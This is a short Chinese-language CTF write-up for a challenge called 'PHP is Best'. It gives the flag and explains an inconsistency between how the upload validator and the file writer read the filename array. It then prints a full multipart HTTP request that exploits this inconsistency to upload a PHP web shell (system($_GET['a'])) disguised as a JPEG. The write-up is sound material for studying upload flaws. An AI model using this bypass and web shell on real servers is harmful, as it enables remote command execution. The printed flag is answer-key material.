题目名称：PHP is Best

Flag: gjgJHTFbkkgYgjbjFLILjiih

解题流程：首先题目给出了index.php的源代码，通过代码审计，第8-10行 进行了 MIME 类型检测， 第12-20行 对文件后缀进行了检测，而后缀名则是取 $file 数组中最后一个元素。然后在生成文件的时候，文件路径又用 $file 数组第一个元素做文件名，数组最后一个下标对应的值作为后缀，这明显存在不一致可绕过的问题。我们只要控制 $file 数组中参数的顺序即可绕过并 getshell 。

数据包内容：

POST /index.php HTTP/1.1

Host: 192.168.114.136

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh,zh-CN;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://192.168.114.136/index.php

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=---------------------------19743961214759

Content-Length: 525

-----------------------------19743961214759

Content-Disposition: form-data; name="filename[1]"

php

-----------------------------19743961214759

Content-Disposition: form-data; name="filename[0]"

jpg

-----------------------------19743961214759

Content-Disposition: form-data; name="file"; filename="1.jpg"

Content-Type: image/jpeg

<?php

system($\_GET['a']);

?>

-----------------------------19743961214759

Content-Disposition: form-data; name="submit"

Submit

-----------------------------19743961214759--